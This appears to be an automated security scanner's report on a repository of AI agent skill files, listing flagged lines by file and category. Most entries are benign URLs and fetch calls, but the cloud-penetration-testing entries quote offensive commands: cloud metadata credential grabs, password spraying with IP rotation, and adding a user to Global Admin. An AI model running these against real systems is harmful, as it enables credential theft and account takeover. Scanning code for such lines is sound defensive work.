    try {     const response = await fetch(`/api${endpoint}`, {       ...options,
  • Network accessline 137
    const response = await fetch(`/api${endpoint}`, {
  • Network accessline 250
    @pytest.fixture async def client():     async with AsyncClient(app=app, base_url="http://test") as ac:
  • Network accessline 251
    async def client():     async with AsyncClient(app=app, base_url="http://test") as ac:         yield ac
  • Network accessline 252
    async with AsyncClient(app=app, base_url="http://test") as ac:
  • Network accessline 322
    # Frontend (.env.local) NEXT_PUBLIC_API_URL=https://api.example.com
  • Network accessline 323
    NEXT_PUBLIC_API_URL=https://api.example.com
  • Network accessline 324
    NEXT_PUBLIC_SUPABASE_URL=https://xxx.supabase.co
  • Network accessline 328
    [Credential-related source omitted]
  • Network accessline 329
    [Credential-related source omitted]
  • Access to secretsline 329
    [Credential-related source omitted]
  • Network accessline 330
    SUPABASE_URL=https://xxx.supabase.co

skills/cc-skill-security-review/SKILL.md

  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 223
    img-src 'self' data: https:;       font-src 'self';       connect-src 'self' https://api.example.com;
  • Network accessline 224
    font-src 'self';       connect-src 'self' https://api.example.com;     `.replace(/\s{2,}/g, ' ').trim()
  • Network accessline 225
    connect-src 'self' https://api.example.com;
  • Network accessline 431
    // Test authentication test('requires authentication', async () => {   const response = await fetch('/api/protected')
  • Network accessline 432
    test('requires authentication', async () => {   const response = await fetch('/api/protected')   expect(response.status).toBe(401)
  • Network accessline 433
    const response = await fetch('/api/protected')
  • Network accessline 437
    // Test authorization test('requires admin role', async () => {   const response = await fetch('/api/admin', {
  • Network accessline 438
    [Credential-related source omitted]
  • Network accessline 439
    const response = await fetch('/api/admin', {
  • Network accessline 445
    // Test input validation test('rejects invalid input', async () => {   const response = await fetch('/api/users', {
  • Network accessline 446
    test('rejects invalid input', async () => {   const response = await fetch('/api/users', {     method: 'POST',
  • Network accessline 447
    const response = await fetch('/api/users', {
  • Network accessline 455
    test('enforces rate limits', async () => {   const requests = Array(101).fill(null).map(() =>     fetch('/api/endpoint')
  • Network accessline 456
    const requests = Array(101).fill(null).map(() =>     fetch('/api/endpoint')   )
  • Network accessline 457
    fetch('/api/endpoint')
  • Network accessline 491
    - [OWASP Top 10](https://owasp.org/www-project-top-ten/)
  • Network accessline 492
    - [Next.js Security](https://nextjs.org/docs/security)
  • Network accessline 493
    - [Supabase Security](https://supabase.com/docs/guides/auth)
  • Network accessline 494
    - [Web Security Academy](https://portswigger.net/web-security)

skills/cc-skill-strategic-compact/suggest-compact.sh

  • Executable scriptline 1
    #!/bin/bash

skills/changelog-automation/resources/implementation-playbook.md

  • Network accessline 14
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
  • Network accessline 15
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
  • Network accessline 43
    [Unreleased]: https://github.com/user/repo/compare/v1.2.0...HEAD
  • Network accessline 44
    [1.2.0]: https://github.com/user/repo/compare/v1.1.0...v1.2.0
  • Network accessline 319
    - {% if commit.scope %}**{{ commit.scope }}:** {% endif %}\             {{ commit.message | upper_first }}\             {% if commit.github.pr_number %} ([#{{ commit.github.pr_number }}](https://github.com/owner/repo/pull/{{ commit.github.p
  • Network accessline 320
    {{ commit.message | upper_first }}\             {% if commit.github.pr_number %} ([#{{ commit.github.pr_number }}](https://github.com/owner/repo/pull/{{ commit.github.pr_number }})){% endif %}\     {% endfor %}
  • Network accessline 321
    {% if commit.github.pr_number %} ([#{{ commit.github.pr_number }}](https://github.com/owner/repo/pull/{{ commit.github.pr_number }})){% endif %}\
  • Network accessline 328
    {% if release.previous.version -%}             [{{ release.version | trim_start_matches(pat="v") }}]: \                 https://github.com/owner/repo/compare/{{ release.previous.version }}...{{ release.version }}
  • Network accessline 329
    [{{ release.version | trim_start_matches(pat="v") }}]: \                 https://github.com/owner/repo/compare/{{ release.previous.version }}...{{ release.version }}         {% endif -%}
  • Network accessline 330
    https://github.com/owner/repo/compare/{{ release.previous.version }}...{{ release.version }}
  • Network accessline 331
    {% endif -%}     {% else -%}         [unreleased]: https://github.com/owner/repo/compare/{{ release.previous.version }}...HEAD
  • Network accessline 332
    {% else -%}         [unreleased]: https://github.com/owner/repo/compare/{{ release.previous.version }}...HEAD     {% endif -%}
  • Network accessline 333
    [unreleased]: https://github.com/owner/repo/compare/{{ release.previous.version }}...HEAD
  • Network accessline 447
    **Full Changelog**: https://github.com/owner/repo/compare/v{{ .Previous }}...v{{ .Current }}
  • Network accessline 534
    - [Keep a Changelog](https://keepachangelog.com/)
  • Network accessline 535
    - [Conventional Commits](https://www.conventionalcommits.org/)
  • Network accessline 536
    - [Semantic Versioning](https://semver.org/)
  • Network accessline 537
    - [semantic-release](https://semantic-release.gitbook.io/)
  • Network accessline 538
    - [git-cliff](https://git-cliff.org/)

skills/cicd-automation-workflow-automate/resources/implementation-playbook.md

  • Network accessline 377
    # Get service URL           echo "url=https://${{ matrix.environment }}.example.com" >> $GITHUB_OUTPUT
  • Network accessline 378
    echo "url=https://${{ matrix.environment }}.example.com" >> $GITHUB_OUTPUT
  • Network accessline 399
    - name: Run smoke tests         run: |           npm run test:smoke -- --url https://${{ matrix.environment }}.example.com
  • Network accessline 401
    npm run test:smoke -- --url https://${{ matrix.environment }}.example.com
  • Network accessline 404
    uses: cypress-io/github-action@v5         with:           config: baseUrl=https://${{ matrix.environment }}.example.com
  • Network accessline 405
    with:           config: baseUrl=https://${{ matrix.environment }}.example.com           record: true
  • Network accessline 406
    config: baseUrl=https://${{ matrix.environment }}.example.com
  • Network accessline 412
    run: |           npm install -g @sitespeed.io/sitespeed.io           sitespeed.io https://${{ matrix.environment }}.example.com \
  • Network accessline 413
    npm install -g @sitespeed.io/sitespeed.io           sitespeed.io https://${{ matrix.environment }}.example.com \             --budget.configPath=.sitespeed.io/budget.json \
  • Network accessline 414
    sitespeed.io https://${{ matrix.environment }}.example.com \
  • Network accessline 419
    run: |           npm install -g @zaproxy/action-baseline           zaproxy/action-baseline -t https://${{ matrix.environment }}.example.com
  • Network accessline 421
    zaproxy/action-baseline -t https://${{ matrix.environment }}.example.com
  • Network accessline 522
    # .pre-commit-config.yaml repos:   - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 523
    repos:   - repo: https://github.com/pre-commit/pre-commit-hooks     rev: v4.5.0
  • Network accessline 524
    - repo: https://github.com/pre-commit/pre-commit-hooks
  • Network accessline 536
    - repo: https://github.com/psf/black
  • Network accessline 542
    - repo: https://github.com/pycqa/isort
  • Network accessline 548
    - repo: https://github.com/pycqa/flake8
  • Network accessline 554
    - repo: https://github.com/pre-commit/mirrors-eslint
  • Network accessline 565
    - repo: https://github.com/pre-commit/mirrors-prettier
  • Network accessline 664
    echo "1. Update .env.local with your configuration"     echo "2. Run 'npm run dev' to start the development server"     echo "3. Visit http://localhost:3000"
  • Network accessline 665
    echo "2. Run 'npm run dev' to start the development server"     echo "3. Visit http://localhost:3000" }
  • Network accessline 666
    echo "3. Visit http://localhost:3000"
  • Network accessline 802
    - name: Add Helm repositories         run: |           helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 803
    run: |           helm repo add prometheus-community https://prometheus-community.github.io/helm-charts           helm repo add grafana https://grafana.github.io/helm-charts
  • Network accessline 804
    helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 805
    helm repo add grafana https://grafana.github.io/helm-charts

skills/circleci-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/clarity-gate/SKILL.md

  • Network accessline 2
    name: clarity-gate description: "Pre-ingestion verification for epistemic quality in RAG systems with 9-point verification and Two-Round HITL workflow" source: "https://github.com/frmoretto/clarity-gate"
  • Network accessline 3
    description: "Pre-ingestion verification for epistemic quality in RAG systems with 9-point verification and Two-Round HITL workflow" source: "https://github.com/frmoretto/clarity-gate" risk: safe
  • Network accessline 4
    source: "https://github.com/frmoretto/clarity-gate"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/frmoretto/clarity-gate).

skills/claude-ally-health/SKILL.md

  • Network accessline 2
    name: claude-ally-health description: "A health assistant skill for medical information analysis, symptom tracking, and wellness guidance." source: "https://github.com/huifer/Claude-Ally-Health"
  • Network accessline 3
    description: "A health assistant skill for medical information analysis, symptom tracking, and wellness guidance." source: "https://github.com/huifer/Claude-Ally-Health" risk: safe
  • Network accessline 4
    source: "https://github.com/huifer/Claude-Ally-Health"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/huifer/Claude-Ally-Health).

skills/claude-code-guide/SKILL.md

  • Network accessline 70
    Based on [Claude Code Guide by zebbern](https://github.com/zebbern/claude-code-guide).

skills/claude-d3js-skill/SKILL.md

  • Network accessline 41
    <script src="https://d3js.org/d3.v7.min.js"></script>

skills/claude-d3js-skill/assets/chart-template.jsx

  • Executable scriptline 1
    Executable file

skills/claude-d3js-skill/assets/interactive-template.jsx

  • Executable scriptline 1
    Executable file

skills/claude-scientific-skills/SKILL.md

  • Network accessline 2
    name: claude-scientific-skills description: "Scientific research and analysis skills" source: "https://github.com/K-Dense-AI/claude-scientific-skills"
  • Network accessline 3
    description: "Scientific research and analysis skills" source: "https://github.com/K-Dense-AI/claude-scientific-skills" risk: safe
  • Network accessline 4
    source: "https://github.com/K-Dense-AI/claude-scientific-skills"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/K-Dense-AI/claude-scientific-skills).

skills/claude-speed-reader/SKILL.md

  • Network accessline 2
    name: claude-speed-reader description: "-Speed read Claude's responses at 600+ WPM using RSVP with Spritz-style ORP highlighting" source: "https://github.com/SeanZoR/claude-speed-reader"
  • Network accessline 3
    description: "-Speed read Claude's responses at 600+ WPM using RSVP with Spritz-style ORP highlighting" source: "https://github.com/SeanZoR/claude-speed-reader" risk: safe
  • Network accessline 4
    source: "https://github.com/SeanZoR/claude-speed-reader"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/SeanZoR/claude-speed-reader).

skills/claude-win11-speckit-update-skill/SKILL.md

  • Network accessline 2
    name: claude-win11-speckit-update-skill description: "Windows 11 system management" source: "https://github.com/NotMyself/claude-win11-speckit-update-skill"
  • Network accessline 3
    description: "Windows 11 system management" source: "https://github.com/NotMyself/claude-win11-speckit-update-skill" risk: safe
  • Network accessline 4
    source: "https://github.com/NotMyself/claude-win11-speckit-update-skill"
  • Network accessline 22
    For more information, see the [source repository](https://github.com/NotMyself/claude-win11-speckit-update-skill).

skills/clean-code/SKILL.md

  • Network accessline 4
    user-invocable: true risk: safe source: "ClawForge (https://github.com/jackjin1997/ClawForge)"
  • Network accessline 5
    risk: safe source: "ClawForge (https://github.com/jackjin1997/ClawForge)" ---
  • Network accessline 6
    source: "ClawForge (https://github.com/jackjin1997/ClawForge)"

skills/clickup-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/close-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/cloud-penetration-testing/SKILL.md

  • Network accessline 26
    # AWS CLI curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
  • Network accessline 27
    curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
  • Dangerous shell operationline 28
    unzip awscliv2.zip && sudo ./aws/install
  • Network accessline 30
    # GCP CLI curl https://sdk.cloud.google.com | bash
  • Dangerous shell operationline 31
    curl https://sdk.cloud.google.com | bash
  • Network accessline 31
    curl https://sdk.cloud.google.com | bash
  • Network accessline 63
    # Azure: Get federation info curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
  • Network accessline 64
    curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
  • Network accessline 66
    # Azure: Get Tenant ID curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
  • Network accessline 67
    curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
  • Network accessline 262
    # Access metadata service (from compromised EC2) curl http://169.254.169.254/latest/meta-data/
  • Network accessline 263
    curl http://169.254.169.254/latest/meta-data/
  • Network accessline 264
    curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 266
    [Credential-related source omitted]
  • Network accessline 267
    [Credential-related source omitted]
  • Network accessline 268
    [Credential-related source omitted]
  • Network accessline 338
    # Get metadata service data curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
  • Network accessline 339
    curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
  • Network accessline 341
    # Check access scopes curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
  • Network accessline 342
    curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
  • Dangerous shell operationline 353
    sudo find /home -name "credentials.db"
  • Dangerous shell operationline 354
    sudo cp -r /home/user/.config/gcloud ~/.config
  • Network accessline 381
    | List EC2 | `aws ec2 describe-instances` | | List Lambda | `aws lambda list-functions` | | Metadata | `curl http://169.254.169.254/latest/meta-data/` |
  • Network accessline 383
    | Metadata | `curl http://169.254.169.254/latest/meta-data/` |
  • Network accessline 393
    | List clusters | `gcloud container clusters list` | | IAM policy | `gcloud projects get-iam-policy <project>` | | Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
  • Network accessline 395
    | Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
  • Network accessline 399
    | Provider | URL | |----------|-----| | AWS | `http://169.254.169.254/latest/meta-data/` |
  • Network accessline 400
    |----------|-----| | AWS | `http://169.254.169.254/latest/meta-data/` | | Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
  • Network accessline 401
    | AWS | `http://169.254.169.254/latest/meta-data/` |
  • Network accessline 402
    | Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
  • Network accessline 403
    | GCP | `http://metadata.google.internal/computeMetadata/v1/` |
  • Network accessline 444
    # Using MSOLSpray with FireProx for IP rotation # First create FireProx endpoint python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
  • Network accessline 446
    python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

skills/cloud-penetration-testing/references/advanced-cloud-scripts.md

  • Network accessline 3
    Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
  • Network accessline 81
    $body = @{     "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"     "resource"  = "https://graph.microsoft.com"
  • Network accessline 82
    "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"     "resource"  = "https://graph.microsoft.com" }
  • Network accessline 83
    "resource"  = "https://graph.microsoft.com"
  • Network accessline 88
    $authResponse = Invoke-RestMethod      -UseBasicParsing      -Method Post      -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0"
  • Network accessline 90
    -Method Post `     -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
  • Network accessline 91
    -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
  • Network accessline 97
    Navigate to https://microsoft.com/devicelogin and enter the code.
  • Network accessline 107
    $Tokens = Invoke-RestMethod      -UseBasicParsing      -Method Post      -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0"
  • Network accessline 109
    -Method Post `     -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
  • Network accessline 110
    -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
  • Network accessline 119
    # From Azure VM Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
  • Network accessline 120
    Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
  • Network accessline 122
    # Full instance metadata $instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
  • Network accessline 123
    $instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
  • Network accessline 287
    # Add user to Global Admin via MS Graph $Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}" az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagemen
  • Network accessline 289
    az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body

skills/coda-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/code-documentation-code-explain/resources/implementation-playbook.md

  • Network accessline 748
    'type': 'tutorial',             'title': 'Async IO in Python: A Complete Walkthrough',             'url': 'https://realpython.com/async-io-python/',
  • Network accessline 749
    'title': 'Async IO in Python: A Complete Walkthrough',             'url': 'https://realpython.com/async-io-python/',             'difficulty': 'intermediate',
  • Network accessline 750
    'url': 'https://realpython.com/async-io-python/',

skills/code-documentation-doc-generate/resources/implementation-playbook.md

  • Network accessline 137
    servers:   - url: https://api.example.com/v1
  • Network accessline 138
    - url: https://api.example.com/v1
  • Access to secretsline 266
    [Credential-related source omitted]
  • Network accessline 302
    git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git
  • Network accessline 326
    # Clone and setup git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git
  • Network accessline 327
    git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git
  • Network accessline 467
    <head>     <title>API Documentation</title>     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css">
  • Network accessline 468
    <title>API Documentation</title>     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css"> </head>
  • Network accessline 469
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css">
  • Network accessline 474
    <script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui-bundle.js"></script>
  • Network accessline 500
    url = "https://api.example.com{endpoint['path']}"
  • Access to secretsline 501
    [Credential-related source omitted]
  • Network accessline 507
    # JavaScript     examples['javascript'] = f''' const response = await fetch('https://api.example.com{endpoint['path']}', {{
  • Network accessline 508
    examples['javascript'] = f''' const response = await fetch('https://api.example.com{endpoint['path']}', {{     method: '{endpoint['method']}',
  • Network accessline 509
    const response = await fetch('https://api.example.com{endpoint['path']}', {{
  • Access to secretsline 511
    [Credential-related source omitted]
  • Network accessline 518
    # cURL     examples['curl'] = f'''
  • Network accessline 519
    [Credential-related source omitted]
  • Network accessline 520
    [Credential-related source omitted]
  • Access to secretsline 520
    [Credential-related source omitted]
  • Access to secretsline 521
    [Credential-related source omitted]

skills/code-review-ai-ai-review/SKILL.md

  • Network accessline 283
    const result = await db.execute(query, [username]);   `,   references: ["https://cwe.mitre.org/data/definitions/89.html"],
  • Network accessline 284
    `,   references: ["https://cwe.mitre.org/data/definitions/89.html"],   autoFixable: false, cwe: "CWE-89", cvss: 9.8, effort: "easy"
  • Network accessline 285
    references: ["https://cwe.mitre.org/data/definitions/89.html"],
  • Access to secretsline 313
    [Credential-related source omitted]
  • Access to secretsline 361
    [Credential-related source omitted]
  • Access to secretsline 362
    [Credential-related source omitted]

skills/code-review-checklist/SKILL.md

  • Access to secretsline 179
    [Credential-related source omitted]
  • Access to secretsline 184
    [Credential-related source omitted]
  • Access to secretsline 185
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]
  • Network accessline 439
    - [Google Code Review Guidelines](https://google.github.io/eng-practices/review/)
  • Network accessline 440
    - [OWASP Top 10](https://owasp.org/www-project-top-ten/)
  • Network accessline 441
    - [Code Review Best Practices](https://github.com/thoughtbot/guides/tree/main/code-review)
  • Network accessline 442
    - [How to Review Code](https://www.kevinlondon.com/2015/05/05/code-review-best-practices.html)

skills/code-review-excellence/resources/implementation-playbook.md

  • Network accessline 295
    // ❌ Not handling async errors async function fetchUser(id: string) {     const response = await fetch(`/api/users/${id}`);
  • Network accessline 296
    async function fetchUser(id: string) {     const response = await fetch(`/api/users/${id}`);     return response.json();  // What if network fails?
  • Network accessline 297
    const response = await fetch(`/api/users/${id}`);
  • Network accessline 302
    async function fetchUser(id: string): Promise<User> {     try {         const response = await fetch(`/api/users/${id}`);
  • Network accessline 303
    try {         const response = await fetch(`/api/users/${id}`);         if (!response.ok) {
  • Network accessline 304
    const response = await fetch(`/api/users/${id}`);
  • Dangerous shell operationline 405
    - [ ] No eval() or similar dynamic execution?

skills/codebase-cleanup-deps-audit/resources/implementation-playbook.md

  • Network accessline 142
    def __init__(self):         self.vulnerability_apis = {             'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk',
  • Network accessline 143
    self.vulnerability_apis = {             'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk',             'pypi': 'https://pypi.org/pypi/{package}/json',
  • Network accessline 144
    'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk',
  • Network accessline 145
    'pypi': 'https://pypi.org/pypi/{package}/json',
  • Network accessline 146
    'rubygems': 'https://rubygems.org/api/v1/gems/{package}.json',
  • Network accessline 147
    'maven': 'https://ossindex.sonatype.org/api/v3/component-report'
  • Network accessline 182
    """         # Using npm audit API         response = requests.post(
  • Network accessline 183
    # Using npm audit API         response = requests.post(             'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk',
  • Network accessline 184
    response = requests.post(
  • Network accessline 185
    'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk',
  • Network accessline 465
    try {             // Fetch package stats             const response = await fetch(
  • Network accessline 466
    // Fetch package stats             const response = await fetch(                 `https://bundlephobia.com/api/size?package=${packageName}@${info.version}`
  • Network accessline 467
    const response = await fetch(
  • Network accessline 468
    `https://bundlephobia.com/api/size?package=${packageName}@${info.version}`

skills/codex-review/SKILL.md

  • Network accessline 28
    ## Examples See [GitHub Repository](https://github.com/BenedictKing/codex-review) for examples.
  • Network accessline 29
    See [GitHub Repository](https://github.com/BenedictKing/codex-review) for examples.

skills/commit/SKILL.md

  • Network accessline 2
    name: commit description: "Create commit messages following Sentry conventions. Use when committing code changes, writing commit messages, or formatting git history. Follows conventional commits with Sentry-specific issue re..." source: "ht
  • Network accessline 3
    description: "Create commit messages following Sentry conventions. Use when committing code changes, writing commit messages, or formatting git history. Follows conventional commits with Sentry-specific issue re..." source: "https://github.
  • Network accessline 4
    source: "https://github.com/getsentry/skills/tree/main/plugins/sentry-skills/skills/commit"
  • Network accessline 171
    - [Sentry Commit Messages](https://develop.sentry.dev/engineering-practices/commit-messages/)

skills/conductor-manage/resources/implementation-playbook.md

  • Dangerous shell operationline 663
    rm -rf conductor/tracks/{track-id}
  • Dangerous shell operationline 665
    rm -rf conductor/tracks/_archive/{track-id}

skills/conductor-validator/SKILL.md

  • Broad permissionsline 1
    Read Glob Grep Bash

skills/confluence-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/content-creator/scripts/brand_voice_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/content-creator/scripts/seo_optimizer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/context-compression/SKILL.md

  • Network accessline 2
    name: context-compression description: "Design and evaluate compression strategies for long-running sessions" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-compression"
  • Network accessline 3
    description: "Design and evaluate compression strategies for long-running sessions" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-compression" risk: safe
  • Network accessline 4
    source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-compression"

skills/context-degradation/SKILL.md

  • Network accessline 2
    name: context-degradation description: "Recognize patterns of context failure: lost-in-middle, poisoning, distraction, and clash" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-degra
  • Network accessline 3
    description: "Recognize patterns of context failure: lost-in-middle, poisoning, distraction, and clash" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-degradation" risk: safe
  • Network accessline 4
    source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-degradation"

skills/context-fundamentals/SKILL.md

  • Network accessline 2
    name: context-fundamentals description: "Understand what context is, why it matters, and the anatomy of context in agent systems" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-funda
  • Network accessline 3
    description: "Understand what context is, why it matters, and the anatomy of context in agent systems" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-fundamentals" risk: safe
  • Network accessline 4
    source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-fundamentals"

skills/context-management-context-save/SKILL.md

  • Network accessline 114
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 115
    "$schema": "http://json-schema.org/draft-07/schema#",

skills/context-optimization/SKILL.md

  • Network accessline 2
    name: context-optimization description: "Apply compaction, masking, and caching strategies" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-optimization"
  • Network accessline 3
    description: "Apply compaction, masking, and caching strategies" source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-optimization" risk: safe
  • Network accessline 4
    source: "https://github.com/muratcankoylan/Agent-Skills-for-Context-Engineering/tree/main/skills/context-optimization"

skills/context7-auto-research/SKILL.md

  • Network accessline 27
    ## Examples See [GitHub Repository](https://github.com/BenedictKing/context7-auto-research) for examples.
  • Network accessline 28
    See [GitHub Repository](https://github.com/BenedictKing/context7-auto-research) for examples.

skills/convertkit-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/copilot-sdk/SKILL.md

  • Network accessline 248
    const session = await client.createSession({     mcpServers: {         github: { type: "http", url: "https://api.githubcopilot.com/mcp/" },
  • Network accessline 249
    mcpServers: {         github: { type: "http", url: "https://api.githubcopilot.com/mcp/" },     },
  • Network accessline 250
    github: { type: "http", url: "https://api.githubcopilot.com/mcp/" },
  • Access to secretsline 290
    [Credential-related source omitted]
  • Access to secretsline 297
    [Credential-related source omitted]
  • Network accessline 307
    provider: {         type: "openai",         baseUrl: "https://your-resource.openai.azure.com/openai/v1/",
  • Network accessline 308
    type: "openai",         baseUrl: "https://your-resource.openai.azure.com/openai/v1/",         wireApi: "responses",
  • Network accessline 309
    baseUrl: "https://your-resource.openai.azure.com/openai/v1/",
  • Access to secretsline 311
    [Credential-related source omitted]
  • Network accessline 510
    - [GitHub Copilot SDK](https://github.com/github/copilot-sdk)
  • Network accessline 511
    - [Copilot CLI Installation](https://docs.github.com/en/copilot/how-tos/set-up/install-copilot-cli)
  • Network accessline 512
    - [MCP Protocol Specification](https://modelcontextprotocol.io)

skills/cqrs-implementation/resources/implementation-playbook.md

  • Network accessline 267
    # Get paginated results             offset = (query.page - 1) * query.page_size             rows = await conn.fetch(
  • Network accessline 268
    offset = (query.page - 1) * query.page_size             rows = await conn.fetch(                 f"""
  • Network accessline 269
    rows = await conn.fetch(
  • Network accessline 539
    - [CQRS Pattern](https://martinfowler.com/bliki/CQRS.html)
  • Network accessline 540
    - [Microsoft CQRS Guidance](https://docs.microsoft.com/en-us/azure/architecture/patterns/cqrs)

skills/create-pr/SKILL.md

  • Network accessline 2
    name: create-pr description: "Create pull requests following Sentry conventions. Use when opening PRs, writing PR descriptions, or preparing changes for review. Follows Sentry's code review guidelines." source: "https://github.com/getsentry
  • Network accessline 3
    description: "Create pull requests following Sentry conventions. Use when opening PRs, writing PR descriptions, or preparing changes for review. Follows Sentry's code review guidelines." source: "https://github.com/getsentry/skills/tree/mai
  • Network accessline 4
    source: "https://github.com/getsentry/skills/tree/main/plugins/sentry-skills/skills/create-pr"
  • Network accessline 191
    - [Sentry Code Review Guidelines](https://develop.sentry.dev/engineering-practices/code-review/)
  • Network accessline 192
    - [Sentry Commit Messages](https://develop.sentry.dev/engineering-practices/commit-messages/)

skills/crypto-bd-agent/SKILL.md

  • Network accessline 39
    Reference implementation: https://github.com/buzzbysolcex/buzz-bd-agent
  • Network accessline 246
    - 24/7 live stream: retake.tv/BuzzBD - Verify: 8004scan.io - GitHub: https://github.com/buzzbysolcex/buzz-bd-agent
  • Network accessline 248
    - GitHub: https://github.com/buzzbysolcex/buzz-bd-agent

skills/culture-index/SKILL.md

  • Network accessline 2
    name: culture-index description: "Index and search culture documentation" source: "https://github.com/trailofbits/skills/tree/main/plugins/culture-index"
  • Network accessline 3
    description: "Index and search culture documentation" source: "https://github.com/trailofbits/skills/tree/main/plugins/culture-index" risk: safe
  • Network accessline 4
    source: "https://github.com/trailofbits/skills/tree/main/plugins/culture-index"
  • Network accessline 43
